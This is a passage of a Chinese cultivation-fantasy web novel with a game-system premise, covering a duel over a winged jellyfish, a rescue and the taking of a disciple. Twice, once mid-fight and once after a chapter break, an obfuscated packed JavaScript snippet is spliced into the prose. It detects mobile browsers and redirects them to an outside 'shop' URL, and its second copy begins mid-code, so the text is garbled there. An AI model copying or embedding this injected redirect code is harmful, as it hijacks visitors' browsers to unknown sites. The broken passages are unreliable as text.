“你若把羽翼水母交给我,我可以带你拜入万丹山,进无涯宗,成为众人追捧的丹修。” 杜樰楺这句话,随便给谁说,都是不小的诱惑,没人能拒绝得了。 她心里虽有嫉妒,但清楚知晓,若招揽到滕棠,让其成为自己的丹徒,往后益处多多。 “就这?”滕棠冷然笑问,一边把所有灵力都输进丹田,以保付岚山神魂不灭,另一边点开背包,准备使用召唤卡。 如今强制召唤卡已经屯了四张,叫哪个大佬来都有时间。 “你不知万丹山?” 杜樰楺打量她的穿着,虽全身皆为中品灵器,看起来不俗,但衣襟并无门派标志,或许是没势力依靠的散修。 她意识到这是个好机会,无知者最好哄骗。 “无涯宗总该知晓。我不仅能让你进入无涯宗,还可授你稀有丹方,教你丹术,让你成为丹皇。其中好处,是羽翼水母的千万倍。” 她说得不错,世上的修者,无不梦想成为一名丹修,既受到众人敬仰,又可赚取大量财富,踏往丹仙之路。 可惜她抛的甜头,不对滕棠的胃口,滕棠只缺钱和时间,不缺丹药。她甚至曾经想过,把系统丹药贩卖出去获利,但考虑到身份问题、丹药太高级的问题、丹药无丹毒的问题……后续一堆麻烦,所幸打消掉这样的想法。 “我不需要。”滕棠只问她一件事:“你重伤了我的灵宠,此事怎么赔?此外,我手臂之伤,亦需要一个说法。你可以从最基本的道歉开始进行,丹药及灵石等赔偿,道完歉再说。” 杜樰楺活了四百多年,头一次被人要求认错和赔钱。她平时要是不高兴,门派兴师动众好几百人,只为讨她欢心。作为稀有的丹修天才,初次向人抛出橄榄枝,竟被拒绝了?! 她吊起凤目,细横的眉毛挤成一根直线,眼白比李偲缨还多。美则美矣,凶起来就不好看了,有了几分恶毒之相。 “哪个穷乡僻壤冒出来的蛮女,连我话中恩惠都听不出来……” 杜樰楺环握五指,旋即一把长满青刺的木剑出现在手中。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14032728|148844||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 见软的不行,便来硬的,她竖起剑式,语气不善地对滕棠道:“我最后问你一遍,羽翼水母,交还是不交!” 付郁随之行动,似乎是个跟班。杜樰楺起势,他便同样拿出一把灵剑,堵在滕棠前方。 “哪里冒出的娇蛮无理小公主,真没教养。”滕棠见他们铁了心要抢,晃一眼三人的距离,心里推演着战斗的场景,自己的精神力只攻得到付郁那边,若杜樰楺趁机刺剑,我背后便是薄弱点。 杜樰楺厉声道:“付郁,杀了她!” 滕棠筑基五层,五灵根,29级,除去精神力这张牌,灵力方面至多能和金丹五层的修者打,和元婴修者差距不小。除非敌人愿意靠近自己,傻傻地让自己进行精神攻击。 要不要召唤伙伴?她点开个人信息,方才猎杀了羽翼水母,经验值马上升至30级,其实可以试着自己战斗。她受点伤,先击败付郁,升个级,然后迅速恢复巅峰状态。只要她近到杜樰楺的身,便有机会打败对方,无需浪费珍贵的召唤卡。 在滕棠纠结之时,杜樰楺已经出手。她动作急切,对羽翼水母势在必得。之前捕获的两只羽翼水母实力太低,其妖核蕴含的魂力,根本不足以养好她父亲的神魂。 父亲还在病榻上等着药,她必须抓到足够多或足够强的羽翼水母! [叮!你已接受多人pk。] 一把缠绕荆棘藤蔓的青剑,飞速搠向滕棠的眉心。 其剑势轻盈,剑锋灵活,当滕棠想躲避时,青色藤蔓自半空飞出,逆转方向,朝全身白火的女子袭去。 另一边,付郁跟着出手,招出一把普通灵剑射向滕棠,并抛掷好几个火团。 两名元婴修者的威压既出,滕棠仿佛步入泥潭,寸步难行,身上沉甸甸的,并不是李偲缨带来的重力。 这二人的合击,她是躲不开了……她给李偲缨穿上矿神金装,开启[铜墙铁壁],以防她受伤,同时不退反进,往付郁方向跃去,从识海调出一把精神之刃,极速插进付郁的识海。 “小心!”杜樰楺眼神颤了下,灵台旋动,对那把看不见的刀感到畏惧。 可惜已经迟了,付郁任由滕棠近身,心想筑基期开辟识海,精神力最多在金丹期,滕棠此举完全是自投罗网。 但他没想到,他自以为的高估,实则是低估,滕棠的精神力远超他的想象。元婴实力的识海,在分神实力的精神攻击面前,一切都是土鸡瓦犬,相差整整三个大境界,他连反抗的念头都没有。 “人不杀我,我不杀人。”滕棠操纵精神力之刃,贯穿对方的识海。 仅一瞬,付郁的灵台便破碎成渣,识海溃败,睁着眼睛后仰倒下。 [击败1人,经验值+44……] [获得成就:百战百胜。] [恭喜玩家升至30级!] [获得升级奖励:+510上品灵石。] [门派功能开启] [主线剧情开启] [自动挂机功能开启] …… 为保护李偲缨,滕棠身上插了两把剑。在等级突破时,她立马拔-出灵剑,让身体恢复到巅峰状态。 疼痛秒来秒消失,滕棠不耽搁半刻,双足跺进地面三分,提刀跃向杜樰楺方位。 “你!”杜樰楺有一件灵宝,可探空中神识,她眉心的小钻光芒迸发,整个人惊疑不定,在付郁死后,瞪大凤目:“你精神力……分神后期?!” 发现滕棠的真实实力后,杜樰楺不敢让她近身十米范围,灵力附于两腿,极速后退。 她斜飞的吊眼睁得老大,右手在空中打转,引藤棘剑划向滕棠:“你竟敢杀我徒儿,你找死!精神力强又如何,你灵力只有筑基实力。” 杜樰楺速度提快,滕棠追不上。二人之间的差距,不能光靠灵力量来弥补,如果滕棠的经脉再宽两倍,水龙头流量变大,一口气调取出系统灵力储存条,她兴许还有机会。 她们的距离越来越远,从七米变成十米,再变成十几米,滕棠的精神力再也不能触及杜樰楺。 杜樰楺在二十米开外停下,双手结印,全身冒出蛇形藤蔓,大叫道:“去死,给我徒儿陪葬!” 对方一出手,声势浩大。绿树枝丫倾覆整片珊瑚林,爬满地面,在滕棠头上编织穹顶,蓝色的树林转眼变成绿色囚笼。 根根藤蔓布满坚硬的刺,像毛线团一样缠得越来越紧。叶子抖动,边缘的锯齿恍如铁锛钢牙,偶有几个骨朵蛰伏其下,等待时机开放,释放香雾。 滕棠提刀劈了一下,发现能斩断,但断掉的部分并未死,重新长成一株新藤,朝她逼近。 这些植物甚是怪异,每一根藤蔓、每一片子都有标识,标识一模一样,密密麻麻的黑字充斥了滕棠的视野。 [长生树▽][长生树▽][长生树▽]…… 滕棠无处可躲,看不到外面的情形。她现在连杜樰楺在哪个方位都不知晓,周围全是[长生树▽],视野已经黑了一片。 70. 第 70 章 “很绝望吧。” 空中传来杜樰楺愠怒的声音,却看不见她的人:“你杀我徒弟,拿命来抵,都不足以平息我的怨愤!” 她的声音忽远忽近,周围的长生树太密,滕棠晃眼四周,根本找不到她的绿色标识。 “我不杀他,难道要躺着任你们宰割!”滕棠警惕着周围,元婴期的灵力攻击,她目前接不下来。 刺藤编织的网密不透风,层层叠叠的锯齿叶在短茎上滚动着,呲嗞——,摩擦的声响宛如发硎刀片,尖厉得刺耳。 没有氧气,滕棠感到一阵窒息。 除了里层的藤蔓网,外面还有无数螺锥形的枝丫,密集如长钉。当树枝缠紧时,它们直接穿过刺藤缝隙,和那些翠绿的花骨朵一起,将锋镝掩藏在锯齿叶片下。 火克木,滕棠的目光扫到自己身上,白焰温度对她来说刚好合适,对其他人或物则异常灼热。 她试着斜切藤蔓,让刀背的火焰烧灼嫩芽的切口。 长生树的青萝流出绿汁,呲呲响,被烤到的地方,无法长出新的刺藤,但底下完好无损的部分会冒出侧芽,占据那一丝缝隙。 白焰的温度,不足以烧死整根藤萝,只能伤到与火接触的那段。 “仅凭你那点焰火,想烧死长生树?”杜樰楺的声音穿过藤萝绿叶,在滕棠背后响起。 滕棠转身,眼球上下左右移动,未找到她的绿色标识,随即身后又响起一声嘲讽。 “这火给我炼丹都嫌弃。” 杜樰楺释放长生树,十分耗费体内的灵力。她不敢离滕棠太近,站在约莫十七八米的地方,双手不断结印,使长生树收紧。 那些藤蔓与叶片变换的方向,和她手势相同,十指交叉,无数刺萝瞬间纠缠在一起,双掌合并,外面的钉枝相互挤压。 滕棠没见过这么顽强耐火的植物,烧不尽,斩不灭。但她并未气馁,转动手中的长刀,尝试增加白焰的范围与温度,大念技能台词。 “啊~我的大刀在渴望炙热的火焰,它已经克制不住了,唯有战斗才能填满空虚,燃烧吧!昼焰焚火!” [绯烈焰]套装的技能叫[昼焰焚火],当滕棠念起时,周身火光大发,把长生树囚笼烧得滋滋作响。 杜樰楺在外面结印,听见她的话后,免不得嘲笑:“果然是穷山恶水养出来的粗鄙女人,再怎么吼叫,不过是徒劳之举。” 长生树内,滕棠全身的白色火焰继续暴涨,整个人仿佛处在熊熊大火之中,白焰蹿高一米,明亮得看不清她的五官。 她劈出去的一刀,陷进侧面藤网,火焰是乳白色的,温度高到空气扭曲,把附近的长生树烧得软趴,翠绿的颜色深成墨绿,这是熟了。 [昼焰焚火]持续时间1分半,冷却时间3分钟。滕棠只要有力气、灵力和速度,可以在技能生效的时间内,打出极多数量的火焰。 融合了三套装备的攻击,目前被动效果只有[概率饮血],滕棠运气不好,接连几刀都未反补到血条。 叶片已经逼近全身,在滕棠皮肤上割出细密的小口,再过一会儿,她便会被绞成烂泥,连骨头渣都找不到。 底下,李偲缨身穿的矿神金装已经失去[铜墙铁壁]的效果,地面的叶子与刺藤把金铠磨得细碎。 滕棠把李偲缨推至方才烧出的空地上,在第三套技能冷却时,接连打出第一套和第二套的技能。 “颤抖吧!我的刀无人能敌!暗影流光!” 两道刀光划出,砸进乳白色的火焰内,将其打散,扩大燃烧的范围。 “臣服于我吧!你们这些罪人,我的刀会把你们的血饮尽,让你们成为我刀下亡魂,饮血狂暴!” 暗红色的血气融入进剩余的白焰,[饮血狂暴]主动技能用出,回补了一部分血条,让滕棠身上的伤口愈合三分之一。 长生树缠紧的空间里,不断响起一道清越的声音,语调虽稍显平淡,但言语内容十分狂妄。 “吵死了。”杜樰楺一边结印,一边叱咄。 她加速手势,想早点结束滕棠的性命。 三个技能有不同的生效时间与冷却时间,滕棠轮流使用,刚好可以补足空闲。 唯一欠缺的是,她灵力不够用了。 付岚山神魂受伤太重,瘦小地缠着她灵根,在昏迷之中,无意识地吸收她灵力。 而她又不停使用技能,系统的灵力条恢复速度跟不上消耗速度。 身上的伤口越来越多,周围挤满了令人窒息的刺藤,地面上的李偲缨同样受到轻伤。 此次败在杜樰楺眉心的小钻上,若对方不知自己的精神力强度,以为自己的精神力只达到元婴期,偶然战胜的付郁,于是掉以轻心,自己或许还有战胜的机会。 滕棠一个筑基五层的修者,在元婴丹修的压迫下,撑了十来分钟,已然是个奇迹。 杜樰楺此时心里有了个想法,滕棠曾经必然是个大能,兴许遇到某些事,实力跌落至筑基阶段。否则,一个筑基者,如何能开辟识海拥有精神力?还在她的长生树内活这么久。 “无论你从前如何风光,今日也得死在我长生树下作肥泥。” 杜樰楺十指交错,拇指横放并拢,调出大量的灵力,让长生树疯狂生长、收紧。 里面的空间越来越小,滕棠的灵力条也耗尽了。并且更加雪上加霜的是,远处响起其他人的声音:“樰楺,徒孙的命牌碎了,怎么回事?” “我们找师妹找了好久,总算找到了!”另一个稍年轻的声音接着道。 胜负终有定。等级实力相差太大,滕棠不敢拿自己的性命做赌注,她一死,牵连的是好几人。 何况新到来的修者不止一人,那年迈的声音称付郁为徒孙,应是杜樰楺的师父,实力定然高强。 滕棠心有不甘地打开背包,不得已之下,点击使用里面的四张召唤卡,用掉两张,把醉星子和杀浮同时召唤出。 这时,她发现…… [你对伙伴杀浮使用了强制召唤卡,因伙伴状态原因,限时90秒。] [你对伙伴醉星子使用了强制召唤卡,因伙伴状态原因,限时20秒。] 这两个伙伴的出现时间变长了?! 她本身的实力只增强了两层,等级提高也不是很明显,是因为突破到30级?不对,她突破到20级都没什么变化,难道是和距离有关?毕竟,醉星子就在这珊瑚秘境里…… 当初在明月大陆召唤醉星子,只有五秒的时间,杀浮为六十秒,现在一个翻了四倍,一个增加一半。滕棠来不及思考更多,弯腰给李偲缨喂下系统丹药,保护她不被长生树割伤。 醉星子最先出现,被纠缠的藤条捆缚,黑衫折皱,遭硬刺、锯齿叶攻击却未破损,只是皮肤上压出了数条红痕。 杀浮晚来半秒,在滕棠面前,双脚落在李偲缨矿神金装腹部上,挡了半边黄光。 滕棠上次见杀浮,是在雾蓝秘境李偲缨的假坟山里,那时他解救了自己和徐扉罗的性命,还未来得及道谢。 望向那张正义凌然的脸,滕棠嘴唇轻启,正要说点感谢的话。面前的人却忙于对敌,执剑将长生树割出一个小口,快速解决身边的威胁,似乎怕敌人还未诛灭,自己先消失不见。 黑色的烟雾自剑柄流泻,侵入长生树的茎叶,快速腐蚀了一大片。 滕棠不好意思打扰他,回头一瞧,发现醉星子比杀浮还卖力,杀招尽出,一下子就毁了长生树形成的牢笼。 她一愣,人生第一次体会到当老板的感觉,看着员工卖力为自己打工,其认真的工作态度和上辈子的她有得一拼,她的心情很微妙。 “谁!” 杜樰楺的双手停顿,惊愣地感受到,长生树内冒出两个实力不俗的修者,一招出手,便破开了她引以为傲的长生树。 与此同时,她师父来到身边,感觉到不输于自己的气息,骇然问她:“你困的是大乘期修者?!”他徒弟怎么敢! 她师兄同样震惊道:“还有个出窍期的魔人……” 杜樰楺无法解释眼前的状况,手指僵硬,指尖一直在颤抖,连最简单的手印都结不出来。 此时,长生树已经被清理干净,露出里面的四个人。 [叮!你已接受团队pk。] 双方距离有二十米远。滕棠看了一样那边三人,左边中年相貌的男修有元婴九层的实力,右边头发花白的老人有大乘二层的实力。 怎么这么强,糟糕…… 她不敢保证醉星子和杀浮能对付那三人,毕竟点开小三角,显示的都是丹修。 她只能保证自己活着,于是把李偲缨负到背上,对二人悄声道谢,朝另一个方向逃。 还有十五秒,希望醉星子能撑住。她双足蓄满灵力,边跑边祈祷。 背着李偲缨,抬腿跑了约莫几百米。 突然,一阵海浪卷来,把滕棠抬起,哗啦啦往高处流。 她往后一瞧,海浪已经截断尾巴,水流像有生命力一样,带她越过珊瑚树的高芽,落进谷地,颠着她的身体起起伏伏许久,向中心圣殿运去。 “圣殿召我一次。”醉星子对她如此传音道。 海浪速度太快,滕棠回头时,早就失去了他们的踪影。 不一会儿,大致十五秒的时间过去,滕棠身下的蓝色的海水消失。她背着李偲缨滚进珊瑚丛林内,砸在几棵硬邦邦的珊瑚树上,最后落到柔软的地面。 [提示!你的队伍已脱离pk区域。] …… [支线剧情开启] “嘶。” 滕棠揉着头和四肢,看向周围,这儿地势略高,稍偏过头,便能看见高处的圣殿。 她离灵魂圣殿的距离还有大概两千多米。 “召唤他……”滕棠喃喃自语地爬起身,给李偲缨喂完几颗疗伤的丹药,向最高的地方行去。 吃人嘴软,拿人手短。醉星子救了她,这点小小的吩咐,她肯定要帮他办到。 取出背包里羽翼水母的掉落物,滕棠捏了捏半透明的妖核、羽翼水母胶,这两样应该要处理之后,才能吸收,比如制成丹药。 放回那两样后,手心处仅剩软软的养魂石。滕棠发现,它与厉鬼、凶煞掉落的灵魂石很像,不过里面的精神之力没那么精纯,吸收后无法增长精神力,只能用来滋养灵台。 灵宠和李偲缨神魂都有损伤,亟需此物,滕棠拾起后,并未纠结哪怕半秒,直接放到李偲缨额头上。 她拍拍丹田,用安慰的语气,说着伤蛇的话:“你不仅蠢、脸皮厚,帮不上什么忙,这养魂石就给李偲缨用了。下次一定给你,下次一定!” 她说的话,昏迷的付岚山听不到,滕棠只是过过嘴瘾,其实内心深处,对付岚山舍身相救一事,还是很感动的。 养了这么久,没白养。 养魂石等级够高,巴掌大,李偲缨吸收了很久。渐渐地,她眉头舒展,揉着眼睛,似乎要醒过来。 一炷香之后,李偲缨睁开双眼,发呆地看向上方之人。 滕棠在她脸上晃动右手,问她:“你不记得我了?” 李偲缨似是想起什么,唰地弹起身体,趴跪在珊瑚上,突然给她磕起响头。 “我真的得救了!多谢恩人!小女此生无以为报,做牛做马,赴汤蹈火,在所不辞。” 受到如此大礼,滕棠吓了一跳,连忙将人扶起:“没事,你没事,我就安心了。” 李偲缨不肯起来,一手抓着她的袖子,另一只手抱住她大腿,开始放声大哭:“呜呜……我娘,呜我娘……” 滕棠错以为自己要再次当娘,就要将她推开,却听对方哽咽一声,开始骂起人来。她通篇只骂一人,骂李孚骅那老头坏事做尽,残害门派众人,掳至亲到傀运盒中去,只为提取他们的气运,延长李孚骅的寿命…… 她鼻涕带泪地哭诉完生平经历,臂弯里的大腿已经湿了一片。 滕棠手足无措,像个尿床的孩子,拉扯着自己湿漉漉的裙摆。 她用劲分开自己和李偲缨,安慰道:“好了好了,都过去了,他已经魂飞魄散,不会再害人了。你说李偲易是你哥哥?正好,他尸身在我这儿,我把他交给你吧。” 滕棠把李偲易的惨白之身放出来,摸摸鼻子,未谈起尸身的来历,要是跟李偲缨说捡来给付岚山当壳子用的,对方会不会由恩转恨。 李偲缨瞟了一眼地上的人,不敢再看,又呜呜哭个不停:“是哥哥,恩人要是早进来几日,说不定他还能活,不……你救了我,已经是很大的恩情。” 李偲缨抬起头,鼻涕黏在滕棠衣摆上,自人中部位拉出一根银丝。 她也不擦,红通通的眼睛望着滕棠,问:“我没有亲人了,认你当姐姐好不好?” 滕棠试着抽出自己的腿,抽不出来,便问她:“你多少岁?” 李偲缨觉得滕棠的筑基五层是灵器所幻,能打败她祖父之人,年纪怎么也不会小。 她抽噎道:“我困在冥煞血池中太久,记不清了,肯定比姐姐小,约莫一千两百来岁。” “……”滕棠呆滞。 李偲缨误以为她嫌弃自己一千岁的年纪,实力如此低微,便将恩人的大腿抱得更紧。 “我五岁筑基,十岁金丹,二十岁元婴,三十岁出窍。只是因祖父的戕害,这几百年未曾精进,灵力与精神力反而跌至金丹五层。姐姐莫要嫌弃,我境界天赋在,不出一年,可结元婴,两年,练至出窍期,再给我几年时间,妹妹一定能惊艳你!” 你确定不是在炫耀?简直秀我一脸。 滕棠掐了个净身诀,羡慕嫉妒恨地道:“嗯好,你先起来,我认你做姐姐行了吧?” “不不,恩人,不可!”李偲缨把头摇成拨浪鼓。 滕棠叹气:“我这具身体…我今年只有20岁。” 李偲缨立起身,左手摸向她的手骨:“姐姐莫逗我了,这哪是二十岁能有的硬骨头。” “……”滕棠无力解释。 李偲缨问滕棠要了储物袋,走到一边,将哥哥的尸身收好,嘴里嘀嘀咕咕,始终认为滕棠是个隐藏实力的大能。 孤寂了这么多年,她的话匣子终于打开,有了倾诉者后,一张嘴吧啦吧啦说个不停。 滕棠沉默地听着,袖子一甩,抖出两张面纱,递给她道:“关于我是否隐藏实力一事,日后再辩,先把这张面纱戴上,我之前惹了万丹山的人,不能被他们看见相貌。” 经过一番交谈,李偲缨脸上的泪干了,仅眼睛还有点肿。她笑着点头,将面纱戴好,挽起滕棠的手摇摆,一千两百岁的年纪,却是一副小女儿作态:“姐姐,我以后随你修行涉路。” 滕棠可怜她没有家,未加思索便点头同意。在修真界混,多一个朋友,多分力量。 然而她低估了李偲缨的话痨程度,在她点头之后,李偲缨熟络起来,聊得更起劲,气无中断,滕棠就是想插话也插不进去 片刻后,滕棠只能任她刺刺不休,自己静默不语地站着,在脑中打开系统界面。 击败付郁后,她升到了三十级,那会儿听见许多提示音,游戏好像开启了很多新功能,她还没查看。 界面的左边新增了一个[主线剧情▽],和一个[支线剧情▽],下方的菜单栏多了个方框,写着[门派]二字。 滕棠仔细翻了翻,逐渐想起以前玩游戏的事。三十级解锁的功能,确实是这三样,还有个[自动挂机]。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14032729|148844||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 不过在修真界,[自动挂机]并不好使,处处都是危险,必须打起一万分的精神,以应对每一次的挑战。 旁边的李偲缨还在啰啰嗦嗦地叙述她小时候,从出生开始讲,到现在才讲到她两岁的经历。 滕棠听得百无聊赖,又不好打断她,便点开主线剧情。 玩游戏的时候,那个剧情讲的是,主角家破人亡,父母失踪,主角被友人告知双亲还活着,于是走出新手村,开始一边热血打怪,一边拯救父母的漫长之旅。 到了修真界,播放视频这点没变,父母失踪这点也没变,变的是主角和剧情。 视频画面上,龙傲天的身影渐渐浮现,特别臭屁地站在一群女娃中间,说自己爹娘如何厉害。此时此刻,滕棠更像一个观众,且没有跳过剧情的选项,只能烦扰地看着主角长大,和原主一起进入鹿焰宗,开始过上众星捧月的生活。 视角是围绕龙傲天开展的,总是会跳过无关的路人甲、不相干剧情,一直播放龙傲天泡妹的画面。 滕棠看到后面,一阵恶寒,因为她看见龙傲天把徐扉罗、原主还要秦阿斓都上了,在李谡的夸赞声中,无上合欢大法更进一层,他的实力直接突破到金丹期。 视频不长也不短,没有交代龙傲天是怎么修行的,打了什么怪。五分之四的内容是泡妹,看他各种上女人,剩下五分之一,则播放他在明月八角塔中,过关斩将,打败塔中不知名的魔人——滕棠失去的伙伴岑羽,获得宝塔的控制权。 滕棠看到后面才得知,本该被李孚骅关进六鬼十凶傀运盒的是龙傲天,而非她这个女炮灰。 龙傲天会在盒子里苟延残喘两天,然后激活一部分龙血,化为神龙,狂吃厉鬼凶煞,暴增精神力。他师父也实力大涨,两人联手,将六鬼十凶傀运盒中的鬼煞清干净,而后出去杀了李孚骅。 到这儿,又是一段不可描述,龙傲天解救了李偲缨,然后对着尸身,开始这样那样。 滕棠无法跳过画面,心灵受到了极大的伤害,浑身难受极了,很想跳进画面,给龙傲天做个绝育手术。 终于,第一段视频播放完,开始播放第二段,辣眼睛的画面依旧很多。不过,滕棠快看得麻木了。 龙傲天携李偲缨、秦阿斓和徐扉罗,一起拜入浮世门,前往无涯宗学习,涨了不少见识。 期间,龙傲天泡到了淘泽姳和厉秋,吃着碗里的,望着锅里的,另一边对至灵神体的杜樰楺疯狂追求。 无涯宗天才众多,他一来,便引发了男修们的各种仇恨。龙傲天为人猖狂,谁都不怕,自然树立了众多敌人,于是又开始过上暴打对手、荒淫放纵的生活。 某日,龙傲天偶然从浮世门师父那里得知,珊瑚秘境找到了,他们要和九炼宗的人一起进入狂海,秘密开启珊瑚秘境。 视频到这儿突然结束,弹出一段介绍珊瑚秘境的文字。 滕棠关掉后,界面左边的主线剧情下多了一条任务:[去‘赤血圣殿’围观龙傲天锻血肉、拓经脉。▽362天12时25分06秒] 点开任务右侧的小三角,滕棠查看到详细描述,以及最后能获得的奖励。她眉头紧皱,抓抓头发,有些崩溃。 “我十一岁开春那年,终于结金丹了!当时娘抱起我转圈……”旁边唠叨生平经历的李偲缨,见她烦闷的模样,挽着她胳膊问:“姐姐,怎么,你在为如今的我感到可惜么?” 滕棠发怔的脸恢复,她转过头,一脸苦笑:“对,我为你感到可惜。” 系统开启的新东西,让她想起来了。等级达到30级后,每一级所需经验非常多,想要快速提升,主线任务、支线任务和门派任务是必做的,因为这三项任务不仅会奖励大量经验,还会给基础数值翻倍卡、上品灵石。 为了变强,难道我要一直关注着龙傲天成长,看他一路风光?这与受刑有什么区别! 主线任务让滕棠感到头疼,她不得不把目光移向另外两个。 在底部菜单里点开[门派],上方一片空白,显示[尚未加入门派],这意味着她没有门派任务可做。 她点开支线任务栏,祈祷任务简单一点,然后看到了一大串文字: [李偲缨在珊瑚秘境中迷路,领她找到她想去的地方。‘前往’] [徐扉罗想要猫眼珊瑚玉,去白珊瑚岛为她收集一颗。‘前往’] [秦阿斓喜欢吃绯岩珊瑚,去红珊瑚岛为她采集一块。‘前往’] [厉秋在白骨圣殿等你,……] [淘泽姳……] 支线任务很奇怪,和主线任务有些割裂,是按照旧剧情布置的,虽然没有时间限制,但真正能领取的只有三个。因为由于滕棠的介入,龙傲天失去了徐扉罗和秦阿斓的心,那两人此刻不在珊瑚秘境。 滕棠随便点了点,发现支线任务可以取消。 她把第二第三撤掉,将徐扉罗和秦阿斓移出去,纠结剩下三个该怎么完成。 她根本不认识淘泽姳和厉秋。 “我十五岁的那个寒冬,发生了一件令我开心之事,我记得很清楚,十二月廿七,睡一觉醒来,发现自己突破到金丹六层!我前一日什么都未做,竟……” 李偲缨依旧在身边凡尔赛。 滕棠听着听着,突然转头看向她,想起[师徒]这个功能,若师父跟徒弟做做日常任务,徒弟实力提升,她也是可以获得基础数值翻倍卡的。 于是,滕棠心里打起了主意,既然李偲缨天赋这么优越,何不收她为徒,薅系统的师徒奖励。 “李偲缨,你有师父么?” 滕棠听了这么久,没听她提起过“师父”二字,照理来说,在修真门派修行,都会拜师的,何况李偲缨的天赋如此优秀。 “没有。”李偲缨摇摇头,上千年的煎熬没能磨灭她眼底的纯真。她睁着无辜而纯净的双眼,期待地问:“我可以拜你为师么?” 正中下怀!滕棠怕她反悔,当即在商城购买拜师所需物品,将物件一一交到李偲缨手里。 她打开收徒列表,一条一条地把拜师规则读给李偲缨听。她知道规矩太多,真人实施起来很麻烦,便委婉道:“你可以不那么规范,做做样子就行。” “这怎么成!” 李偲缨挂上师徒玉佩,手持一杯清酒,朝滕棠跪拜:“请师父喝酒。” 见她如此有诚意,滕棠不好意思地接起,仰头一口饮下,和她进行下一步。 按照系统的规则,两人将拜师仪式一步一步做完,滕棠终于听见叮声响起,而后脑子里跳出收徒成功的提示。 她非常高兴,把奖励的灵石取出来,头一次大方地送人:“我没什么东西可送你,就送你1000上品灵石吧。” 滕棠假装在储物袋里摸了摸,同时掏出好几瓶丹药,回血丹、回灵丹、解毒丹、解控丹……一股脑塞进李偲缨的手里。这些就当投资,只要李偲缨不挂掉,勤勉修行,她会获得百倍甚至是千倍的回报。 “呜呜呜……”李偲缨再次哭起来,在她衣服上蹭眼泪:“师父,你对我太好了,我以后一定好好修行,听师父的话。”改口得十分快,称呼立马从“姐姐”变成“师父”。 养过付岚山的滕棠:“……” 等付岚山醒来,她一定要让他好好学学,对待恩人的正确态度。 给李偲缨和自己乔装打扮一番,滕棠系好面纱,和对方道:“你现在迷路了。” 李偲缨擦干泪,满脸疑惑。 滕棠示意她看向蓝岛至高处,一边问她:“你想去哪儿?”一边用口型说着“灵魂圣殿”四字。 李偲缨盯着她口型,不太确定地重复道:“灵魂圣殿?” [叮!支线任务一领取成功。] 71. 第 71 章 半个时辰后。 滕棠抵达蓝岛的最高峰,和李偲缨望向前方的圣殿。 百米外的珊瑚树长得龙盘虎拏,势如青松,或硬或软的枝芽拧出巨大的海浪,汹涌澎湃地奔向天空,如同一只摘日的巨手。 蓝色的棱形宝石高挂天穹,发出太阳般耀眼的光芒,中心射下一道深蓝色的光束,与海浪形的圣殿遥相呼应。 那束蓝光恰好落在圣殿的凹陷处,被纠缠的珊瑚托住。底下的珊瑚树歪斜生长,中央犹如金乌巢穴,窝窠很深,里面悬浮了上千名修者。 滕棠和李偲缨加快脚步,行至圣殿门前,听到了人鱼之声。如同在白色圣殿里那样,人鱼之声正在为她们介绍灵魂圣殿的用途与规则。 滕棠仰起头,目光透过珊瑚枝的缝隙,看到一团湛蓝之光,隐隐约约听见海浪的声音。 在她头顶,半透明的光束里,一众修者闭着双目,双掌打开,身体纹丝不动,状如酣眠不醒的蜂群,层层叠叠挤在蓝光之中。天籁之音贯入他们耳中,好比澄净而温暖的海水,沁入心房与识海,让他们进入玄妙的灵魂世界,静静修行精神力。 滕棠观察许久,并未从那蓝光中感受到精神力波动。那道光束更像一首令人沉醉的助眠曲,让人聆听到大海的声音,即刻平静下来,达到一念道之境,而后心无旁骛地修炼识海中的精神力。 至于精神力能修炼到什么样的程度,这和个人的意志、勤勉度有关。 她听完人鱼之声的讲述后,自言自语道:“这么看,灵魂圣殿对我没用。” 她的灵魂可随时切换状态,进入一念道之境,只在一念之间。 李偲缨误以为她太强,对灵魂圣殿不屑一顾,便拉拉她的袖子,讨俏道:“师父,我想去修行一月。” 对比付岚山天天气她的行径,滕棠好生喜欢这个新收的徒弟:“当然可以,不用过问我的意见。” 说完,她又给李偲缨买了一堆系统丹药,装进对方的储物袋,而后递去[师徒召唤符],教她学习“如何召唤师父”。 收徒之后,系统每日会免费赠送一张召唤符,仅限双方使用。 不同的是,李偲缨没有系统,她召唤滕棠,滕棠可以选择去或是不去;滕棠召唤她,李偲缨没有选项,会在倒数十秒后,直接现身。 “你若遇到紧急之事,集中精神力于符纸上,顺着纹路勾勒,我那边会收到消息,到时候前来助你。如果我没来,呃……一定是我有急事!” 这张薄薄的符纸,竟能传人于千里之外?李偲缨展开黑底金字的纸张,看了又看,小心翼翼折好放进怀中。 她泪眼汪汪地抓紧滕棠的袖口:“师父你对我真好,以后我一定会好好孝敬您老人家。” 她仍觉得,滕棠是个活了几千年的老妖怪。 “快去吧。”滕棠无奈道,不愿和她辩解。 目送徒弟进入圣殿,滕棠站在门前,收到系统消息:[支线任务一完成]。 任务奖励让她尝到甜头,一共领取到999+经验值、300上品灵石、一张基础数值1.5倍卡,以及李偲缨的好感度+10。 如今好感度玩法还未开放,加的数值是灰色的,留待后面解锁时点亮。 滕棠手握一张[基础数值×1.5],在[伤害]、[生命]、[速度]、[暴击]、[防御]五项中,犹犹豫豫。 她左思右想,好像大家伤害都挺高的,先保小命要紧……于是把卡使用给[生命],将自身血条延长了半截。 等以后血条长得不能再长了,再分给其他四项吧,她内心计划着。 